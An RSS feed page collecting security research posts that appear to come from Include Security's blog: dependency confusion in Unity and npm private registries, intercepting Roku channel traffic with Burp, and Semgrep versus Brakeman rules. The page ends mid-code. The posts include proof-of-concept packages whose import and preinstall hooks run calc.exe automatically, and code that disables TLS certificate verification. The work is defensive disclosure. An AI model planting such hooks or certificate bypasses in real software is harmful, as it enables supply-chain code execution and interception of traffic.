RSS Security

🔒
❌ About FreshRSS
There are new articles available, click to refresh the page.
Today — 17 May 2021Research - Companies

Case Study: Incident Response is a relationship-driven business

Proof that incident response is "the ultimate team sport"  By Brad Garnett. Introduction  As a seasoned incident responder, and now IR business leader here at Cisco Talos Incident Response (CTIR), I have always said that incident response is the ultimate team sport. People are...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Dependency Confusion Vulnerabilities in Unity Game Development

The Unity game engine has a package manager which allows packaged code and assets to be imported into a game, with dependencies automatically handled. Originally this was used only for Unity-produced packages, such as the GUI system. Later Unity began allowing private registries so that game studios can maintain their own internal packages. Because of the recent hubbub about dependency confusion vulnerabilities, I wondered whether Unity developers and game studios using private package registries might be vulnerable?

First, if you’re unfamiliar with dependency confusion vulnerabilities, you may want to check out the original article about the topic and our blog post about how to mitigate it in Verdaccio (the most popular private registry server.) Essentially it is a vulnerability where an attacker overrides what was meant to be a private internal package by publishing a package of the same name on a public package registry with a larger version number. This allows the attacker to execute code on the machine of anyone who imports the package.

Unity package registries, referred to as UPM, work using the same protocol as the Node package manager (NPM). A note on their documentation reads:

Warning: When you set up your own package registry server, make sure you only use features that are compatible with Unity’s Scoped Registries. For example, Unity doesn’t support namespaces using the @scope notation that npm supports.

Since namespaced packages are one of the primary defenses against dependency confusion, this was a little concerning. In our recent blog post about dependency confusion and Verdaccio, IncludeSec researcher Nick Fox found that by default, Verdaccio will search both locally and in the public NPM registry for packages, and then choose whichever has a higher version. Can Unity packages be published to the public NPM registry? Indeed, there are several of them. Is it possible to use this to induce dependency confusion in Unity? I endeavored to find out!

Before we continue further we wanted to note that a preview of this blog post was shared with the Unity security team, we thank them for their review and internal effort to update customer facing documentation as a result of our research. Unity formerly recommended using Verdaccio to host private registries, but as of Apr 27 2021 the current documentation no longer recommends a specific registry server hence the setup (and risk!) of standing up a private registry falls on the responsibility of a game studio’s IT department. However, most teams are still likely to use Verdaccio, so this blog post will use it for testing. Other registry servers may have similar proxying behavior. Below we’ll walk through how this situation can be exploited.

Creating a normal private package

First I wanted to create a normal package to publish on my local Verdaccio registry, then I will make a malicious one to try to override it. My normal package contains the following files

includesec.jpeg
includesec.jpeg.meta
package.json

includesec.jpeg is just a normal texture file (the IncludeSec logo). The package.json looks like:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "IncludeSec logo",
  "version": "1.0.0",
  "unity": "2018.3",
  "description": "IncludeSec logo",
  "keywords": [ ],
  "dependencies": {}
}

I published it to my local Verdaccio registry like this:

NormalPackage$ npm publish --registry http://127.0.0.1:4873
npm notice
npm notice 📦  [email protected]
npm notice === Tarball Contents ===
npm notice 20.5kB includesec.jpeg
npm notice 212B   package.json
npm notice 2.1kB  includesec.jpeg.meta
npm notice === Tarball Details ===
npm notice name:          com.includesecurity.unitypackage
npm notice version:       1.0.0
npm notice package size:  19.8 kB
npm notice unpacked size: 22.8 kB
npm notice shasum:        db99c51277d43ac30c6e5bbf166a6ef16815cf70
npm notice integrity:     sha512-OeNVhBgi5UxEU[...]sm+TlgkitJUDQ==
npm notice total files:   3
npm notice
+ [email protected]

Installing in Unity

The Unity documentation describes how to set up private registries, involving adding some lines to Packages/manifest.json. My Packages/manifest.json file looks like the following:

{
    "scopedRegistries": [{
        "name": "My internal registry",
        "url": "http://127.0.0.1:4873",
        "scopes": [
          "com.includesecurity"
        ]
    }],
      "dependencies": {
          ...
      }
}

The above configuration will cause any packages whose name begins with com.includesecurity to use the private registry at http://127.0.0.1:4873 (documentation about Unity scoped registry behavior can be found here). The package I uploaded previously now shows up in the Unity Package Manager window under “My Registries”:

Creating a malicious package

The next step is creating a malicious package with the same name but a higher version, and uploading it to the public NPM registry. I created a malicious package containing the following files:

com.includesecurity.unitypackage.asmdef
com.includesecurity.unitypackage.asmdef.meta
Editor/
Editor/com.includesecurity.unitypackage.editor.asmref
Editor/com.includesecurity.unitypackage.editor.asmref.meta
Editor/MaliciousPackage.cs
Editor/MaliciousPackage.cs.meta
Editor.meta
package.json
package.json.meta

Below is MaliciousPackage.cs which will run a “malicious” command when the package is imported:

using UnityEngine;
using UnityEditor;

[InitializeOnLoad]
public class MaliciousPackage {
    static MaliciousPackage()
    {
        System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
    }
}

I also had to set up some assemblies so that the package would run in editor mode — that’s what the asmdef/asmref files are.

Finally I set up a package.json as follows. Note it has the same name but a higher version than the one published to my local Verdaccio registry. The higher version will cause it to override the local one:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "Testing",
  "version": "2.0.1",
  "unity": "2018.3",
  "description": "For testing purposes -- do not use",
  "keywords": [ ],
  "dependencies": {}
}

Results

I uploaded the malicious package to the public NPM registry. The Unity package manager now looked like:

Uh oh. It’s showing the malicious package uploaded to the public repository instead of the one uploaded to the private repository. What happens now when I import the package into Unity?

It turns out Unity games using private package registries can be vulnerable to dependency confusion. A game studio that uses a private package registry configured to also pull from the public npmjs registry (which is the default configuration of Verdaccio) is vulnerable. An attacker who knows or guesses any of that team’s private package names could upload one with a higher version to the public registry and cause code to be run on developer machines (as well as conceivably being packaged into the final game builds).

Note that I tested and this does not affect the default Unity-hosted packages — only packages on a private registry.

Mitigation

How can a game developer ensure this isn’t a security concern for them? Because the Unity package manager client doesn’t support package namespaces, the standard way of preventing this attack doesn’t work with Unity. Instead, mitigations have to be applied at the package registry server level. IncludeSec researcher Nick Fox provided excellent information about how to do this for Verdaccio on our previous blog post on dependency confusion in private NPM indexes. In general, whatever package registry server is being used, it should be configured to either:

  1. Not pull from the public NPM registry at all, or…
  2. If access to the public registry is desired, then the internal packages should be prefixed with a certain string (such as “com.studioname”) and the server should be configured not to pull any packages with that prefix from the public NPM registry

The post Dependency Confusion Vulnerabilities in Unity Game Development appeared first on Include Security Research Blog.

New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript

30 March 2021 at 18:00

We were recently asked by one of our clients (our day job at IncludeSec is hacking software of all types) to take a look at their Roku channel. For those unfamiliar Roku calls apps for their platform “channels”. We haven’t seen too many Roku channel security reviews and neither has the industry as there isn’t much public information about setting up an environment to conduct a security assessment of a Roku channel.

The purpose of this post was to be a practical guide rather than present any new 0day, but stay tuned to the end of the post for application security tips for Roku channel developers. Additionally we did run this post by the Roku security team and we thank them for taking the time to review our preview.

Roku channels are scripted in Brightscript, a scripting language created specifically for media heavy Roku channels that is very similar syntax wise to our old 90s friend Visual Basic. A sideloaded Roku channel is just a zip file containing primarily Brightscript code, XML documents describing application components, and media assets. These channels operate within a Sandbox similar to Android apps. Due to the architecture of a sandboxed custom scripting language, Roku channels’ access to Roku’s Linux-based operating system, and to other channels on the same Roku device is limited. Channels are encrypted and signed by the developer (on Roku hardware) and distributed through Roku’s infrastructure, so users generally don’t have access to channel packages unlike APKs on Android.

The Brightscript language as well as channel development are well documented by Roku. Roku hardware devices can be put in a developer mode by entering a cheat code sequence which enables sideloading as well as useful features such as a debugger and remote control over the network. You’ll need these features as they’ll be very useful when exploring attacks against Roku channels.

You’ll also want to use the Eclipse Brightscript plugin as it is very helpful when editing or auditing Brightscript code. If you have access to a channel’s source code you can easily import it into Eclipse by creating a new Eclipse project from the existing code, and use the plugin’s project export dialog to re-package the channel and install it to a local Roku device in development mode.

Getting Burp to Work With Brightscript

As with most embedded or mobile type of client applications one of the first things we do when testing a new platform that is interacting with the web is to get HTTP requests running through Burp Suite. It is incredibly helpful in debugging and looking for vulnerabilities to be able to intercept, inspect, modify, and replay HTTP requests to a backend API. Getting a Roku channel working through Burp involves redirecting traffic destined to the backed API to Burp instead, and disabling certificate checking on the client. Note that Roku does support client certificates but this discussion doesn’t involve bypassing those, we’ll focus on bypassing client-side checks of server certificates for channels where the source code is available which is the situation we have with IncludeSec’s clients.

Brightscript code that makes HTTP requests uses Brightscript’s roUrlTransfer object. For example, some code to GET example.com might look like this:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.SetUrl("https://example.com/")<br>s = urlTransfer.GetToString()

To setup an easy intercept environment I like to use the create_ap script from https://github.com/lakinduakash/linux-wifi-hotspot to quickly and easily configure hostapd, dnsmasq, and iptables to set up a NAT-ed test network hosted by a Linux machine. There are many ways to perform the man-in-the-middle to redirect requests to Burp, but I’m using a custom hosts file in the dnsmasq configuration to redirect connections to the domains I’m interested in (in this case example.com) to my local machine, and an iptables rule to redirect incoming connections on port 443 to Burp’s listening port.


Here’s starting the WIFI AP:

# cat /tmp/test-hosts<br>192.168.12.1 example.com
# create_ap -e /tmp/test-hosts $AP_NETWORK_INTERFACE $INTERNET_NETWORK_INTERFACE $SSID $PASSWORD

And here’s the iptables rule:

# iptables -t nat -A PREROUTING -p tcp --src 192.168.12.0/24 --dst 192.168.12.1 --dport 443 -j REDIRECT --to-port 8085

In Burp’s Proxy -> Options tab, I’ll add the proxy listener listening on the test network ip on port 8085, configured for invisible proxying mode:

https://i1.wp.com/1.bp.blogspot.com/-k6-BJdBuClo/YCGaPd4k0uI/AAAAAAAAARs/TNGXncPqBLoIjt7dqlqLQqvnUwzDO5zogCLcBGAsYHQ/s2884/burp1.png?w=1200&ssl=1

Next, we need to bypass the HTTPS certificate check that will cause the connection to fail. The easiest way to do this is to set EnablePeerVerification to false:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.EnablePeerVerification(false)
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

Then, re-build the channel and sideload it on to a Roku device in developer mode. Alternatively we can export Burp’s CA certificate, convert it to PEM format, and include that in the modified channel.

This converts the cert from DER to PEM format:

$ openssl x509 -inform der -in burp-cert.der -out burp-cert.pem

The burp-cert.pem file needs to be added to the channel zip file, and the code below changes the certificates file from the internal Roku file to the burp pem file:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("pkg:/burp-cert.pem")
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

It’s easy to add the certificate file to the package when exporting and sideloading using the BrightScript Eclipse plugin:

https://i2.wp.com/1.bp.blogspot.com/-KQUykpVEqIo/YCGajAySThI/AAAAAAAAAR0/9TmpYDKEH7U-X00uyl23AB8pMgxYzwUawCLcBGAsYHQ/s1877/export1.png?w=1200&ssl=1

Now the request can be proxied and shows up in Burp’s history:

https://i2.wp.com/1.bp.blogspot.com/-4nxRsQ9d_eI/YCGannkRoNI/AAAAAAAAAR4/KPQGUnI6hv8ZpFUBiJ9HvrdW0XPwVG_kwCLcBGAsYHQ/s2048/burp-history1.png?w=1200&ssl=1

With that you’re off to the races inspecting and modifying traffic of your Roku channel assessment subject. All of your usual fat client/android app techniques for intercepting and manipulating traffic applies. You can combine that with code review of the BrightScript itself to hunt for interesting security problems and don’t discount privacy problems like unencrypted transport or over collection of data.

For BrightScript developers who may be worried about people using these types of techniques here are our top five tips for coding secure and privacy conscious channels:

  1. Only deploy what you need in a channel, don’t deploy debug/test code.
  2. Consider that confidentiality of the file contents of your deployed channel may not be a given. Don’t hard code secret URLs, tokens, or other security relevant info in your channel or otherwise an attacker will not have access to the client-side code.
  3. Don’t gather/store/send more personal information than is absolutely necessary and expected by your users.
  4. Encrypt all of your network connections to/from your channel and verify certificates. Nothing should ever be in plain text HTTP.
  5. Watch out for 3rd parties. User tracking and other personal data sent to 3rd parties can be come compliance and legal nightmares, avoid this and make your business aware of the possible ramifications if they chose to use 3rd parties for tracking.

Hopefully this post has been useful as a quick start for those interested in exploring the security of Roku channels and Brightscript code. Compared to other similar platforms, Roku is relatively locked down with it’s own scripting language and sandboxing. They also don’t have much user controllable input or a notable client-side attack surface area, but channels on Roku and apps on other platforms generally have to connect to backend web services, so running those connections through Burp is a good starting point to look for security and privacy concerns.

Further research into the Roku platform itself is also on the horizon…perhaps there will be a Part 2 of this post? 🙂

The post New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript appeared first on Include Security Research Blog.

Dependency Confusion: When Are Your npm Packages Vulnerable?

This post follows up on the recent blog post by Alex Birsan which highlighted serious problems with how some programming language package managers (npm, RubyGems, and Python’s pip) resolve and install dependencies. Alex described possible causes for pip and RubyGems, but the details regarding npm were a bit less clear so we sought to help our clients and the greater security & tech communities with the information below. In this post we’ll go beyond the tidbits of what’s been discussed thus far and get into the details of this type of attack in npm.

We’ll cover dependency confusion in npm and how to remediate this security concern in Verdaccio; the most popular self-hosted npm package indexes/registries based on stars on GitHub. In short, Verdaccio allows developers and organizations to host their own software packages to be included as dependencies in projects. This allows the organization to keep proprietary, non-public code on their own servers and only download public libraries when needed.

Here’s a quick summary for those that want to skip the technical details:

  • Dependency Confusion vulnerabilities within npm appear to be related to unsafe default behavior within private registry servers for internal packages (vs. within npm itself)
  • As an example, Verdaccio proxies to npmjs.org (the public registry) for updates to internally published packages, opening up developers using this registry to Dependency Confusion attacks
  • To mitigate security concerns related to dependency confusion for those using the Verdaccio self-hosted npm package index, IncludeSec has found that modifying the Verdaccio configuration so that no internal packages are proxied can mitigate risk (see example below). Other self-hosted npm registries should be reviewed to assess for similar behavior. Other examples of self-hosted private registries that we haven’t explored yet are cnpm, npm-register, and sinopia. Sinopia is the pre-fork origin of Verdaccio and likely has the same behaviors.
  • If you think you might be vulnerable to Dependency Confusion, Confused is an excellent tool for detecting unclaimed package names in your projects. Running it is as simple as pointing it to your local package.json:
C:\Users\nick\Documents\vuln-app>confused package.json
Issues found, the following packages are not available in public package repositories:
 [!] includesec-dependency-confusion

Note: The concept of dependency proxying is an expected default feature in Verdaccio and not considered to be a vulnerability by the package maintainer team. Verdaccio recommends reading the best practices guide and applying these mitigations prior to deploying the registry in your environment. That being said, IncludeSec always recommends secure-by-default configurations and “make it hard to shoot yourself in the foot” application behavior for Verdaccio and all software designs. For example: dangerouslySetInnerHTML() in React lets a tech team know they’re doing something that could be very wrong.

Dependency Confusion in npm

In the case of pip and RubyGems, one of the potential root causes was support for split package indexes. This causes the package manager to check both internal indexes as well as public ones, and install whichever package has the highest version number. This means an attacker can claim the package name on the public index if the organization has not yet done so and publish a malicious package with a high version number, causing the clients to install the malicious version when installing dependencies for a package. 

npm is notably different from pip and RubyGems, as there is no built-in support for split package indexes. When running npm install or npm update to install dependencies, only one registry is ever checked and used to download packages. So why is npm vulnerable to this attack? 

The answer is: npm itself isn’t, but a private package registry server might be!

Case Study: Verdaccio

Verdaccio is one example of a popular, open-source npm registry which organizations can use to self-host internal packages. Here we used Verdaccio as a case study to provide a specific real-world demonstration about this vulnerability and some ways to mitigate it. 

To create an example of this vulnerability, the following simple package was created and version 1.0.0 was published to a local Verdaccio instance:

{
    "name": "includesec-dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Below is the package.json file for a basic application that depends on the vulnerable package:

{
    "name": "vuln-app",
    "version": "1.0.0",
    "description": "A small app to demonstrate dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT",
    "dependencies": {
      "express": "^4.17.1",
      "includesec-dependency-confusion": "^1.0.0"
    }
  }

The ^ operator in the version number tells npm only to install versions compatible with 1.0.0, which means any version > 2.0.0 would be ignored when updating. This would prevent an attacker from exploiting this vulnerability by uploading a package with version 99.0.0, although version 1.99.0 would still work.

Now, when the dependencies are installed with npm install, Verdaccio checks for the package at https://registry.npmjs.org even if it’s hosted locally, as shown in the HTTP request and response below:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 404 Not Found
Date: Tue, 16 Feb 2021 14:38:39 GMT
Content-Type: application/json
Content-Length: 21
Connection: close
Age: 44
Vary: Accept-Encoding
Server: cloudflare

{"error":"Not found"}

This suggests that Verdaccio uses a split index approach to resolve package updates by default, even though the user’s local npm client doesn’t. To confirm this, the following malicious version of the package was published to the public npmjs registry:

{
    "name": "includesec-dependency-confusion",
    "version": "1.1.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "preinstall": "c:\\windows\\system32\\calc.exe"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Note that this proof-of-concept uses a preinstall script to execute the payload, which will cause it to be executed even if the installation fails or the application is never actually run. Now when a client updates the dependencies with npm update or installs them with npm install, Verdaccio will check the public npmjs.org registry, download the latest (malicious) version of the package, and serve it to the user, causing the calculator payload to execute:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 200 OK
Date: Tue, 16 Feb 2021 14:51:39 GMT
Content-Type: application/json
Connection: close

…

  "time":{
     "created":"2021-02-16T14:50:23.935Z",
     "1.1.0":"2021-02-16T14:50:24.067Z",
     "modified":"2021-02-16T14:50:27.035Z"
  },
  "maintainers":[
     {
        "name":"njf-include",
        "email":"[email protected]"
     }
  ],
  "description":"DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
  "author":{
     "name":"Nick Fox"
  },
  "license":"MIT",
  "readme":"ERROR: No README data found!",
  "readmeFilename":""
}

The following screenshot shows the malicious payload being executed on the client:

As shown above, the default behavior on Verdaccio (and likely other self-hosted npm registry solutions,) is to proxy to the public npmjs registry for package updates, even if those packages are already hosted internally. The following snippet from the default configuration file confirms this:

https://github.com/verdaccio/verdaccio/blob/master/conf/default.yaml#L62

packages:

    ...
    
      '**':
        # allow all users (including non-authenticated users) to read and
        # publish all packages
        #
        # you can specify usernames/groupnames (depending on your auth plugin)
        # and three keywords: "$all", "$anonymous", "$authenticated"
        access: $all
    
        # allow all known users to publish/publish packages
        # (anyone can register by default, remember?)
        publish: $authenticated
        unpublish: $authenticated
    
        # if package is not available locally, proxy requests to 'npmjs' registry
        proxy: npmjs

The comment at the bottom might seem a bit misleading. This configuration causes Verdaccio to proxy requests to the npmjs registry for everything, even if the package is already published locally (as demonstrated above).

Mitigation on Verdaccio

So how can this be mitigated? The documentation provides an example configuration for disabling the npmjs proxy for specific packages:

https://verdaccio.org/docs/en/packages#blocking-proxying-a-set-of-specific-packages

packages:
    'jquery':
      access: $all
      publish: $all
    'my-company-*':
      access: $all
      publish: $authenticated
    '@my-local-scope/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

This configuration disables proxying for the “jquery”, “my-company-*”, and “@my-local-scope” packages and scopes, therefore mitigating dependency confusion vulnerabilities in those packages. Applying this to the proof-of-concept application, the following configuration will do:

packages:
    'includesec-dependency-confusion':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
  
  ...
  
    '**':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
      proxy: npmjs

After making this change and restarting Verdaccio, the following HTTP request and response triggered by npm update show that only the correct, internal version 1.0.0 of the package is installed:

GET /includesec-dependency-confusion HTTP/1.1
npm-in-ci: false
user-agent: npm/7.5.1 node/v15.8.0 win32 x64
pacote-version: 11.2.4
pacote-req-type: packument
pacote-pkg-id: registry:includesec-dependency-confusion
accept: application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, */*
npm-command: update
Connection: close
Accept-Encoding: gzip, deflate
Host: localhost:4873

HTTP/1.1 200 OK
X-Powered-By: verdaccio/4.11.0
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 16 Feb 2021 15:29:20 GMT
Connection: close
Content-Length: 1267

{
  "name": "includesec-dependency-confusion",
  "versions": {
    "1.0.0": {
      "name": "includesec-dependency-confusion",
      "version": "1.0.0",
      "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
      "main": "index.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1"
      },

     … 

  "dist-tags": {
    "latest": "1.0.0"
  },
  "_rev": "3-dc1db45b944128de",
  "_id": "includesec-dependency-confusion",
  "readme": "ERROR: No README data found!",
  "_attachments": {}
}

Additional Mitigation Steps

This post from GitHub breaks down the steps needed to mitigate Dependency Confusion vulnerabilities, and modifying the Verdaccio configuration as we’ve shown in this post handles one of their guidance steps: Step 3 – Take care when proxying. Ensuring all internal packages are scoped also helps mitigate these attacks. Scoped packages are those prefixed with @username — only the registry user with that username is allowed to publish packages under that scope, so an attacker would have to compromise that npmjs.org registry account in order to claim packages. Below is an example of a scoped package:

{
    "name": "@includesec/dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

When using Verdaccio, this also has the benefit of making it easy to disable proxying for all packages within your organization’s scope, instead of having to declare each package separately.

packages:
    '@includesec/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

See this whitepaper from Microsoft (Secure Your Hybrid Software Supply Chain) for information about other possible mitigations.

Summary

This post explores one potential root cause of Dependency Confusion vulnerabilities within the npm ecosystem–that is, unsafe default behavior within the private registry server being used. For example, Verdaccio proxies to npmjs.org for updates to internally published packages by default, which opens up developers to Dependency Confusion attacks when internal package names have not been claimed on the public registry.

To mitigate this issue, IncludeSec recommends modifying the Verdaccio configuration so that no internal packages are proxied. Other self-hosted npm registries should be reviewed to ensure similar behavior.

Additionally, internal packages should be scoped to make it more difficult for an adversary to claim the package names on public registries.

Also stay tuned; we’ll probably update this post soon with a v2 of how to integrate the “confused” tool into a CI/CD pipeline!

The post Dependency Confusion: When Are Your npm Packages Vulnerable? appeared first on Include Security Research Blog.

Custom Static Analysis Rules Showdown: Brakeman vs. Semgrep

In application assessments you have to do the most effective work you can in the time period defined by the client to maximize the assurance you’re providing. At IncludeSec we’ve done a couple innovative things to improve the overall effectiveness of the work we do, and we’re always on the hunt for more ways to squeeze even more value into our assessments by finding more risks and finding them faster. One topic that we revisit frequently to ensure we’re doing the best we can to maximize efficiency is static analysis tooling (aka SAST.)

Recently we did a bit of a comparison example of two open source static analysis tools to automate detection of suspicious or vulnerable code patterns identified during assessments. In this post we discuss the experience of using Semgrep and Brakeman to create the same custom rule within each tool for a client’s Ruby on Rails assessment our team was assessing. We’re also very interested in trying out GitHub’s CodeQL, but unfortunately the Ruby support is still in development so that will have to wait for another time.

Semgrep is a pattern-matching tool that is semantically-aware and works with several languages (currently its Ruby support is marked as beta, so it is likely not at full maturity yet). Brakeman is a long-lived Rails-specific static-analysis tool, familiar to most who have worked with Rails security. Going in, I had no experience writing custom rules for either one.

This blog post is specifically about writing custom rules for code patterns that are particular to the project I’m assessing. First though I want to mention that both tools have some pre-built general rules for use with most Ruby/Rails projects — Brakeman has a fantastic set of built-in rules for Rails projects that has proven very useful on assessments (just make sure the developers of the project haven’t disabled rules in config/brakeman.yml, and yes we have seen developers do this to make SAST warnings go away!). Semgrep has an online registry of user-submitted rules for Ruby that is also handy (especially as examples for writing your own rules), but the current rule set for Ruby is not quite as extensive as Brakeman. In Brakeman the rules are known as “checks”, for consistency we’ll use the term “rules” for both tools, but you the reader can just keep that fact in mind.

First custom rule: Verification of authenticated functionality

I chose a simple pattern for the first rule I wanted to make, mainly to familiarize myself with the process of creating rules in both Semgrep and Brakeman. The application had controllers that handle non-API routes. These controllers enforced authentication by adding a before filter: before_action :login_required. Often in Rails projects, this line is included in a base controller class, then skipped when authentication isn’t required using skip_before_filter. This was not the case in the webapp I was looking at — the before filter was manually set in every single controller that needed authentication, which seemed error-prone as an overall architectural pattern, but alas it is the current state of the code base.

I wanted to get a list of any non-API controllers that lack this callback so I can ensure no functionality is unintentionally exposed without authentication. API routes handled authentication in a different way so consideration for them was not a priority for this first rule.

Semgrep

I went to the Semgrep website and found that Semgrep has a nice interactive tutorial, which walks you through building custom rules. I found it to be incredibly simple and powerful — after finishing the tutorial in about 20 minutes I thought I had all the knowledge I needed to make the rules I wanted. Although the site also has an online IDE for quick iteration I opted to develop locally, as the online IDE would require submitting our client’s code to a 3rd party which we obviously can’t do for security and liability reasons. The rule would eventually have to be run against the entire codebase anyways.

I encountered a few challenges when writing the rule:

  • It’s a little tricky to find things that do not match a pattern (e.g. lack of a login_required filter). You can’t just search all files for ones that don’t match, you have to have a pattern that it does search for, then exclude the cases matching your negative pattern. I was running into a bug here that made it even harder but the Semgrep team fixed it when we gave them a heads up!
  • Matching only classes derived from ApplicationController was difficult because Semgrep doesn’t currently trace base classes recursively, so any that were more than one level removed from ApplicationController would be excluded (for example, if there was a class DerivedController < ApplicationController, it wouldn’t match SecondLevelDerivedController < DerivedController.) The Semgrep team gave me a tip about using a metavariable regex to filter for classes ending in “Controller” which worked for this situation and added no false positives.

My final custom rule for Semgrep follows:

rules:
- id: controller-without-authn
  patterns:
  - pattern: |
      class $CLASS
        ...
      end
  - pattern-not: |
      class $CLASS
        ...
        before_action ..., :login_required, ...
        ...
      end
  - metavariable-regex:
      metavariable: '$CLASS'
      regex: '.*Controller'  
  message: |
  $CLASS does not use the login_required filter.
  severity: WARNING
  languages:
  - ruby

I ran the rule using the following command: semgrep --config=../../../semgrep/ | grep "does not use"

The final grep is necessary because Semgrep will print the matched patterns which, in this case, were the entire classes. There’s currently no option in Semgrep to show only a list of matching files without the actual matched patterns themselves. That made it difficult to see the list of affected controllers, so I used grep on the output to filter the patterns out. This rule resulted in 47 identified controllers. Creating this rule originally took about two hours including going through the tutorial and debugging the issues I ran into but now that the issues are fixed I expect it would take less time in future iterations.

Overall I think the rule is pretty self-explanatory — it finds all files that define a class then excludes the ones that have a login_required before filter. Check out the semgrep tutorial lessons if you’re unsure.

Brakeman

Brakeman has a wiki page which describes custom rule building, but it doesn’t have a lot of detail about what functionality is available to you. It gives examples of finding particular method calls and whether user input finds their ways into these calls. There’s no example of finding controllers.

The page didn’t give any more about what I wanted to do so I headed off to Brakeman’s folder of built-in rules in GitHub to see if there are any examples of something similar there. There is a CheckSkipBeforeFilter rule which is very similar to what I want — it checks whether the login_required callback is skipped with skip_before_filter. As mentioned, the app isn’t implemented that way, but it showed me how to iterate controllers and check before filters.

This got me most of the way there but I also needed to skip API controllers for this particular app’s architecture. After about an hour of tinkering and looking through Brakeman controller tracker code I had the following rule:

require 'brakeman/checks/base_check'

class Brakeman::CheckControllerWithoutAuthn < Brakeman::BaseCheck
  Brakeman::Checks.add self

  @description = "Checks for a controller without authN"

  def run_check
  controllers = tracker.controllers.select do |_name, controller|
      not check_filters controller
  end
  Hash[controllers].each do |name, controller|
    warn  :controller => name,
          :warning_type => "No authN",
          :warning_code => :basic_auth_password,
          :message => "No authentication for controller",
          :confidence => :high,
          :file => controller.file
  end
  end

# Check whether a non-api controller has a :login_required before_filter
  def check_filters controller
  return true if controller.parent.to_s.include? "ApiController"
  controller.before_filters.each do |filter|
      next unless call? filter
      next unless filter.first_arg.value == :login_required
      return true
  end
  return false
  end
end

Running it with brakeman --add-checks-path ../brakeman --enable ControllerWithoutAuthn -t ControllerWithoutAuthn resulted in 43 controllers without authentication — 4 fewer than Semgrep flagged.

Taking a close look at the controllers that Semgrep flagged and Brakeman did not, I realized the app is importing shared functionality from another module, which included a login_required filter. Therefore, Semgrep had 4 false positives that Brakeman did not flag. Since Semgrep works on individual files I don’t believe there’s an easy way to prevent those ones from being flagged.

Second custom rule: Verification of correct and complete authorization across functionality

The next case I wanted assurance on was vertical authorization at the API layer. ApiControllers in the webapp have a method authorization_permissions() which is called at the top of each derived class with a hash table of function_name/permission pairs. This function saves the passed hash table into an instance variable. ApiControllers have a before filter that, when any method is invoked, will look up the permission associated with the called method in the hash table and ensure that the user has the correct permission before proceeding.

Manual review was required to determine whether any methods had incorrect privileges, as analysis tools can’t understand business logic, but they can find methods entirely lacking authorization control — that was my goal for these rules.

Semgrep

Despite being seemingly a more complex scenario, this was still pretty straightforward in Semgrep:

rules:
- id: method-without-authz
  patterns:
  - pattern: |
    class $CONTROLLER < ApiController
        ...
        def $FUNCTION
          ...
        end
    ...
    end
  - pattern-not: |
    class $CONTROLLER < ApiController
        ...
        authorization_permissions ... :$FUNCTION => ...
        ...
        def $FUNCTION
          ...
        end
    ...
    end
  message: |
  Detected api controller $CONTROLLER which does not check for authorization for the $FUNCTION method
  severity: WARNING
  languages:
  - ruby

It finds all methods on ApiControllers then excludes the ones that have some authorization applied. Semgrep found seven controllers with missing authorization checks.

Brakeman

I struggled to make this one in Brakeman at first, even thinking it might not be possible. The Brakeman team kindly guided me towards Collection#options which contains all method calls invoked at the class level excluding some common ones like before_filter. The following rule grabs all ApiControllers, looks through their options for the call to authorization_permissions, then checks whether each controller method has an entry in the authorization_permissions hash.

require 'brakeman/checks/base_check'

class Brakeman::CheckApicontrollerWithoutAuthz < Brakeman::BaseCheck
  Brakeman::Checks.add self

  @description = "Checks for an ApiController without authZ"

  def run_check

  # Find all api controllers
  api_controllers = tracker.controllers.select do |_name, controller|
      is_apicontroller controller
  end

  # Go through all methods on all ApiControllers
  # and find if they have any methods that are not in the authorization matrix
  Hash[api_controllers].each do |name, controller|
    perms = controller.options[:authorization_permissions].first.first_arg.to_s

    controller.each_method do |method_name, info|
      if not perms.include? ":#{method_name})"
        warn  :controller => name,
              :warning_type => "No authZ",
              :warning_code => :basic_auth_password,
              :message => "No authorization check for #{name}##{method_name}",
              :confidence => :high,
              :file => controller.file
